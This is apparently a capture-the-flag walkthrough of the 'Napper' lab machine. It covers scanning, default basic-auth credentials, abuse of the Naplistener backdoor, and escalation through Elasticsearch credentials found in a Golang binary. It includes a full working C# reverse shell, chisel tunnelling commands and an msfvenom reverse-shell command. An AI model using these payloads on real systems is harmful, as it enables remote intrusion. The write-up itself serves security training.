This is a Windows 10 pro workstation used by a group of malware researchers. For their investigations, they run a blog to post their findings and an internal Elasticsearch server. They are currently researching the Naplistener malware and it seems that, unfortunately, the software has infected the machine leaving it exposed to external attacks, this can be leveraged for user foothold. Regarding escalation, reversing a local binary written in Golang allows finding credentials for local administrator.
> nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-12 04:32 EST
Nmap scan report for 10.129.160.140
Host is up, received user-set (0.098s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack
443/tcp open https syn-ack
7680/tcp open pando-pub syn-ack
Nmap done: 1 IP address (1 host up) scanned in 118.89 seconds
Enumerate the open ports.
> nmap $target -p80,443,7680 -sV -sC -Pn -vv
Nmap scan report for 10.129.160.140
Host is up, received user-set (0.093s latency).
Scanned at 2023-11-12 04:36:28 EST for 53s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_ssl-date: 2023-11-12T09:37:27+00:00; +7s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US/organizationalUnitName=MlopsHub Dev/localityName=San Fransisco
| Subject Alternative Name: DNS:app.napper.htb
| Issuer: commonName=ca.napper.htb/countryName=US/localityName=San Fransisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-07T14:58:55
| Not valid after: 2033-06-04T14:58:55
| MD5: ee1adff89a6f5ddd1add9d22040858dc
| SHA-1: f134fe3831f50c749a26d44163a8232da67a782b
| -----BEGIN CERTIFICATE-----
| MIIDzTCCArWgAwIBAgIJALM7fwOVfMaCMA0GCSqGSIb3DQEBCwUAMD0xFjAUBgNV
| BAMMDWNhLm5hcHBlci5odGIxCzAJBgNVBAYTAlVTMRYwFAYDVQQHDA1TYW4gRnJh
| bnNpc2NvMB4XDTIzMDYwNzE0NTg1NVoXDTMzMDYwNDE0NTg1NVowfTELMAkGA1UE
| BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuc2lz
| Y28xETAPBgNVBAoMCE1Mb3BzSHViMRUwEwYDVQQLDAxNbG9wc0h1YiBEZXYxFzAV
| BgNVBAMMDmFwcC5uYXBwZXIuaHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
| CgKCAQEAqkM19E9lbE476qF6RBriuwNHdCgjwLybb9pXWIgtPen6hNCBvzp0XLlY
| ZWJ3NNszYH7Z6pgDJHCDIrSZXtkAEHh7AdoN7ZFLWScHwz/qWesBjH2DYHfBABkm
| qorv3dS6MqpZXJK81e1bQdS9IlRiPmJTYHX17+vfd7FBP2XaARtpgDIkDEPyPIIe
| GfTbtk3/E3N/EjZX7lR7lgAMhZmpEpmb7AoQ1btPraFwH/PXG5r020vfC+fCzgAK
| X3BmCfSzUI2AXz/2GJrRsSSdjKTCLJgn5Cau9bI+IO9pH3HOkfXDiWLB4ip++dGK
| hxYMEc5xwrcF3ZsE6s42cisD8pNipwIDAQABo4GPMIGMMFcGA1UdIwRQME6hQaQ/
| MD0xFjAUBgNVBAMMDWNhLm5hcHBlci5odGIxCzAJBgNVBAYTAlVTMRYwFAYDVQQH
| DA1TYW4gRnJhbnNpc2NvggkA4xs9TVmYevYwCQYDVR0TBAIwADALBgNVHQ8EBAMC
| BPAwGQYDVR0RBBIwEIIOYXBwLm5hcHBlci5odGIwDQYJKoZIhvcNAQELBQADggEB
| ABuy5lV920FJXR4j0dWSAqpEPCXj3jVc7vbozP24sFAocNCzodYiuKV10NyhXxJ+
| rxgu5HgmWk47yaz17eYwMDWYnfoIGRVMl4IkSve/9wr1+ReiywIPGyCG/GCxk3KI
| OG/IyX9j8KR7bhTnlMPixVVqkAu0E2CwZ8I0WmjBdQzEs4wBmpmRO5Eqodxf/jkM
| 3a7CU0Q3m9+SKwOnvarn0Wp++UmlD4/y+O8+j9+URXtD7RElZfrcv9wknVGD7H0s
| U98Kn5WCVanMjGtaQmBjCNdTX/6rif90qiTgyw3mGw8IyatfXAwF75jkvB4vTAHk
| ziVXyfoozsWvOoF8/YiMKsI=
|_-----END CERTIFICATE-----
|_http-generator: Hugo 0.112.3
7680/tcp open pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6s
Nmap done: 1 IP address (1 host up) scanned in 53.05 seconds
We have found another subdomain called internal.napper.htb. If we browse it with Firefox, a login web page appears.
Browsing the login site with Burpsuite, we see it uses basic authorization. In this type of authorization the credentials are sent in base64. The next step would be to find valid credentials for this site. In the blog app.napper.htb there are information about how the basic authorization works.
USER
We find the procedure they followed to configure the server, including the default password used.
Trying these credentials example:ExamplePassword in the login page, we are given access to the internal area. Inside the restricted area we find out there is an investigation ongoing on a malware called Naplistener. Doing a search in Internet, we find out 2 good resources to have a basic understanding of this malware.
In summary, it is a malware written in C# which starts an HTTP listener in the infected machines. Once the listener is running, if you send base64 encoded C# payloads to certain endpoint, it will be executed in memory. It is designed to masquerade and evade network-based detection methods, for this same reason, it will only process requests sent to /ews/MsExgHealthCheckd/, in the sdafwe3rwe23 parameter. Any other tries to interact with Naplistener will be responded with a 404 code.
To verify if Naplistener is running in the host, we send a base64 aaa payload to the endpoint and it is responded with OK 200. Therefore, Naplistener is running in the system.
We conclude that if we send a base64-encoded C# reverse shell it will be decoded by Naplistener and executed.
Next step is to download a C# TCP shell from http://www.revshells.com. Bear in mind it cannot be used off-the-self, it needs some modifications.
Namespace must match filename.
It must contain a Run class.
Create a constructor and place the shell code inside, so it is automatically invoked whenever an instance of the class is created.
The main() point of entry will just call the constructor.
An example of the payload could be the following:
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace Present
{
public class Run
{
static StreamWriter streamWriter;
public Run()
{
using(TcpClient client = new TcpClient("10.10.14.20", 9001))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
public static void Main(string[] args)
{
new Run();
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
Compile with mcs, remember the filename must match the namespace.
> mcs -out:Present.exe Present.cs
present.cs(69,34): warning CS0168: The variable `err' is declared but never used
Compilation succeeded - 1 warning(s)
Encode base64 the resulting binary.
> base64 -w 0 ./Present.exe
Send the payload with Burpsuite, don't forget to URL-encode to avoid problematic characters.
A reverse shell for user ruben is received.
SYSTEM
Enumerate the system.
> systeminfo
Host Name: NAPPER
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
System Type: x64-based PC
Enumerating with winpeas.exe, a binary is discovered in a folder for which we have write access.
We also find a local service running on port 9200, doing some research, we find out this port is owned by Elasticsearch. Place a chisel and forward port 9200 to Kali.
./chisel64 server -p 8000 --reverse
chisel64.exe client 10.10.14.20:8000 R:9200
Browsing the site locally with Firefox https://localhost:9200, an Elasticsearch login website appears.
Next step is to decompile the a.exe file with a reversing tool. The file turns out to have been written in Golang.
Conclusions after inspecting the source code:
If you use Ghidra, look for a Golang extension to assist in decompiling process.
The binary reads environmental variables from the .env file.
In the source you can find credentials for elastic user.
The binary updates password for user backup, which is written in a JSON field called blob
Use the elastic user credentials to log into the Elasticsearch site. Query thehttps://localhost:9200/_search endpoint to find the blob parameter, which contains the encoded current password for user backup and the seed used to AES encode it.
Also, bear in mind that password for user backup is updated periodically.
Once the password is obtained, we just need to log in as user backup. There are no open ports 135, 445, 3389, 5985, so Impacket, rdesktop and evil-winrm are discarded. A good alternative could be runascs with a payload generated with msfvenom
> msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.20 lport=9000 -f exe -a x64 --platform windows -o shell.exe
Start a listener on port 9000 and use runascs to run the shell.exe payload as backup user.